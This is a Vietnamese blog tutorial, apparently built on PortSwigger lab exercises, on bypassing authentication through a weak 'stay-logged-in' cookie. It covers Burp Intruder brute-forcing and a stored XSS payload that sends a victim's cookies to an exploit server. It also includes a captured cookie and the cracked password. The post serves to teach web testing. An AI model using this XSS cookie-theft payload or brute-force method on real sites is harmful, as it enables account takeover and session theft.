Penetration Testing Step 3 – Bypass hệ thống xác thực với “Stay logged in” cookie

Tiếp theo nội dung Penetration Testing Step 3 – Công phá hệ thống Multi-factor authentication, kỳ này tôi sẽ bàn đến các cơ chế khác của quá trình xác thực tiềm ẩn các vấn đề cho phép bạn vô hiệu hóa hoàn toàn các giải pháp đã triển khai. Và một trong những vấn đề nổi bật cần đặc biệt lưu ý là việc thiết lập cho phép người dùng duy trì đăng nhập.

Như bạn đã biết (nếu chưa thì bây giờ biết), tùy chọn “Remember me”/“Keep me logged in”/“Stay logged in” cho phép duy trì đăng nhập ngay cả khi tắt browser là một tính năng phổ biến. Tính năng này có thể được triển khai thông qua phương án tạo một token liên quan rồi lưu trữ vào persistent cookie (đại khái là lưu trữ lại để sử dụng sau).

Do vậy, nếu bằng cách nào đó, attacker có thể chiếm đoạt hoặc nắm được cơ chế tạo token này thì toàn bộ công sức triển khai cho quá trình xác thực sẽ đổ sông đổ biển hết. Và với ý tưởng này, tôi sẽ triển các nội dung demo liên quan cho trường hợp token được tạo ra bằng cách kết hợp usernamepassword với phương án xử lý thiếu độ ngẫu nhiên cần thiết.

Lưu ý:

#1. Khai thác stay logged in cookie theo dạng online attack

#1.1 Stay logged in cookie mặt mũi ra sao?

Như mọi khi, tôi bật Burp Suite Interception lên rồi lê bước chân vào vị trí login của mục tiêu và sử dụng credential chuẩn của tôi (wiener:peter) để đăng nhập. Tuy nhiên, lần này có điểm khác là tôi sẽ tick vào tùy chọn “Stay logged in” để duy trì đăng nhập.

Stay logged in option
Stay logged in option

Nhảy qua Burp Suite Proxy HTTP history, tôi có thể chọn cái Cookie: stay-logged-in rồi quan sát nội dung decode (Base64) ở Inspector và thấy: wiener:51dc30ddc473d43a6011e9ebba6ca770

Inspect stay-logged-in cookie
Inspect stay-logged-in cookie

Cái wiener thì hiển nhiên là username rồi nhưng 51dc30ddc473d43a6011e9ebba6ca770 là cái vẹo gì? Trấn tĩnh sau 3 giây, tôi sực nhớ đến đoạn “Message Digest 5 (MD5) cho ra kết quả hash 128 bit, thường thể hiện dạng Hexadecimal (sử dụng số từ 0 đến 9 và chữ từ a đến f)…” trong nội dung Giải ngố Cryptography – Phần 2: Đảm bảo Integrity với Hashing Algorithm.

Đến đây thì hiển nhiên tôi phải bật thử mấy cái Hash Generator (ví dụ như MD5 Hash Generator) lên để kiểm tra liền. Và ta-da! Cái hash ở trên đích thị là MD5 Hash của password tôi đã nhập vào.

MD5 hash
MD5 hash

Đến đây bạn có thể vặn vẹo “Ủa, password này ông nhập vào mà, có éo gì đâu mà ngạc nhiên cha?”. Đúng, nhưng vấn đề nó nằm ở chỗ là tôi đã nắm được cái công thức bí truyền mà mục tiêu đã sử dụng để tạo ra token duy trì đăng nhập là:

base64(username+’:’+md5HashOfPassword)

#1.2 Brute-force stay logged in cookie với Burp Suite Intruder

Sau khi đã có trong tay công thức gia truyền, tôi log out ra. Và để chuẩn bị triển khai mưu đồ tấn công, tôi quay lại Proxy History đẩy cái GET /my-account qua Burp Suite Intruder.

Tại tab Positions, tôi loại bỏ các payload marker mặc định và thiết lập lại tại vị trí Cookie: stay-logged-in như sau.

Intruder Positions
Intruder Positions

Chuyển qua tab Payloads, bên dưới phần Payload processing, tôi chọn Add để thiết lập phương án chế biến payload.

Intruder Payload Processing
Intruder Payload Processing

Theo thứ tự từ trong ra ngoài của công thức base64(username+’:’+md5HashOfPassword), tôi sẽ lần lượt Add:

  • Hash: MD5: hash cái payload (password) với MD5;
  • Add prefix: wiener:: bổ sung prefix wiener:;
  • Encode: Base64-encode: chạy base64-encode cho nguyên cái đám bùng nhùng tạo ở trên.
Intruder Payload Processing Rules
Intruder Payload Processing Rules

Ngoài ra, một khi login thành công, tôi sẽ thấy tùy chọn Update email. Do vậy, tôi có thể sử dụng con hàng này làm pháo hiệu chiến thắng bằng cách chui qua phần Options rồi mở Grep – Match để thiết lập như sau.

Grep-Match result
Grep-Match result

Thiết lập đã xong, tôi thử hàng với Start attack button và thu lượm kết quả như sau để khẳng định mọi thứ chạy đúng với ý đồ thiết kế.

Test Intruder Payload Processing
Test Intruder Payload Processing

Ở trên, bạn thấy kết quả chỉ có đúng một dòng và trả về kết quả “Update email” là bởi vì chỗ password trong phần Payloads tôi vẫn chạy với hàng chính chủ là peter. Giờ tôi mới bắt đầu lân la sang phần thiết lập để tấn công nạn nhân (“carlos”).

Để thực hiện mưu đồ, tôi cần chỉnh lại Payload set 1 – Simple list tương ứng với danh sách các password tiềm năng.

Intruder Payload
Intruder Payload

Lưu ý: Password wordlist ở trên tôi lấy từ bài lab để demo cho nhanh gọn lẹ, thực tế thì bạn sẽ cần đầu tư nghiên cứu để tạo cái này như tôi đề cập trong nội dung Penetration Testing Step 3 – Kỹ nghệ chế biến wordlist phục vụ Password Attack)

Đồng thời, phần Payload Processing cũng cần cập nhật lại ở chỗ Add Predix: carlos:.

Update Intruder Payload Processing Rules
Update Intruder Payload Processing Rules

Thế thôi, tôi đã có thể bắt đầu xả đạn và thu lượm kết quả.

Intruder Attack result
Intruder Attack result

Và đây rồi, cái Cookie: stay-logged-in chuẩn xuất hiện với phần Update email tương ứng cho phép tôi tước đoạt quyền truy cập vào account của “carlos” tội nghiệp.

Lưu ý: Kể cả trong tình huống tôi không có credential chuẩn, với các phương án như XXS attack (đề cập trong nội dung Penetration Testing Step 3 – Cross-Site Scripting – XSS là cái vẹo gì?), tôi cũng có thể hốt đám cookie về phân tích để xác định công thức chế biến để phục vụ mưu đồ tấn công.

#2. Tấn công stay logged in cookie với giải pháp offline attack

Trường hợp triển khai tấn công stay logged in cookie bằng Burp Suite Intruder với password worlist nói trên không khả thi (ví dụ wordlist không hiệu quả). Tôi có thể chuyển sang phương án thu lượm các stay logged in cookie về rồi từ từ gặm nhấm với các giải pháp offline attack.

#2.1 Chiếm đoạt stay logged in cookie với Stored XSS

Việc đầu tiên cũng sẽ là bật Burp Suite Interception và truy cập vào trang đăng nhập của mục tiêu để thăm dò với credential chính chủ của tôi (wiener:peter).

Tương tự như nội dung ở trên, với Inspector, tôi cũng có thể xác định cái stay-logged-in cookie ở dạng username+’:’+md5HashOfPassword.

Inspect stay-logged-in cookie
Inspect stay-logged-in cookie

Rồi, giờ tôi chuyển qua trò mới là tiến hành chôm chỉa cookie của nạn nhân (vâng, tất nhiên lại là “carlos”) với XSS attack nhờ vào lỗ hổng ở phần comment của mục tiêu (trang Blog).

Để mần trò này, trước hết tôi sẽ cần mở cái exploit server (cung cấp kèm theo bài lab phục vụ quá trình XSS attack) để xác định cái exploit server id phục vụ mưu đồ tấn công.

Exploit Server ID
Exploit Server ID

Kế tiếp, tôi cần chuẩn bị stored XSS payload kiểu như sau:

<script>document.location='//exploit-ac1d1f951f76f667c07bd89301eb0025.web-security-academy.net/'+document.cookie</script>

Sau đó tôi dí hàng vào vị trí comment của mục tiêu như bên dưới và post.

XSS payload
XSS payload

Sau khi post payload và quay lại trang blog của mục tiêu, tôi chuyển qua exploit server, truy cập access log và tìm cái GET request của nạn nhân “carlos” và húp cái stay-logged-in cookie (“Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz”).

XSS result
XSS result

Lưu ý:

  • exploit-ac1d1f951f76f667c07bd89301eb0025exploit-server-id mà tôi lấy từ cái exploit server của bài lab như đề cập ở trên. Nếu bạn thử nghiệm thì phải cập nhật lại thông tin tương ứng cho cái your-exploit-server-id;
  • Ý tưởng chung của stored XSS ở đây là bạn tuồn hàng độc hại vô trang blog mục tiêu thông qua phần comment. Đám payload độc hại này được mục tiêu “stored” lại nên nạn nhân nào truy cập đúng vị trí đó sẽ đều lãnh đạn. Phần demo ở trên tập trung vào cái stay-logged-in cookie nên giản lược nhanh vấn đề stored XSS attack;
  • Bạn có thể xem thêm về stored XSS trong nội dung Penetration Testing Step 3 – Lại tìm và diệt mục tiêu nhưng với Stored Cross-Site Scripting.

#2.2 Gặm nhấm stay logged in cookie với phương án offline attack

Với cái stay-logged-in cookie đã húp được, tôi quăng nó qua Burp Suite Decoder với Base64 và đọc được kết quả carlos:26323c16d5f4dabff3bb136f2460a943.

Decode stay-logged-in cookie
Decode stay-logged-in cookie

26323c16d5f4dabff3bb136f2460a943 tương ứng md5HashOfPassword của nạn nhân “carlos” nên lúc này tôi có thể triển khai các phương án offline attack như rainbow table (phương án này cực kỳ hiệu quả với password hash không sử dụng salt để tạo độ ngẫu nghiên). Với mục tiêu demo nhanh gọn, hiển nhiên ở đây tôi không triển khai các bước password attack lằng nhằng mà sẽ chơi cheatcode để kiểm tra luôn đáp án là onceuponatime như bên dưới.

Check password hash
Check password hash

Và như vậy coi như tôi đã hoàn thành tâm nguyện chiếm đoạt account của nạn nhân thông qua việc khai thác cái stay-logged-in cookie.

Như đề cập ở trên, trong nội dung Giải ngố Cryptography – Phần 2: Đảm bảo Integrity với Hashing Algorithm, tôi cũng đã có bàn sơ bộ về phần password attack. Tuy nhiên, phần này cũng khá hay ho nên tôi sẽ sắp xếp để giới thiệu kỹ hơn sau.

1 thought on “Penetration Testing Step 3 – Bypass hệ thống xác thực với “Stay logged in” cookie”

Leave a Reply

Your email address will not be published. Required fields are marked *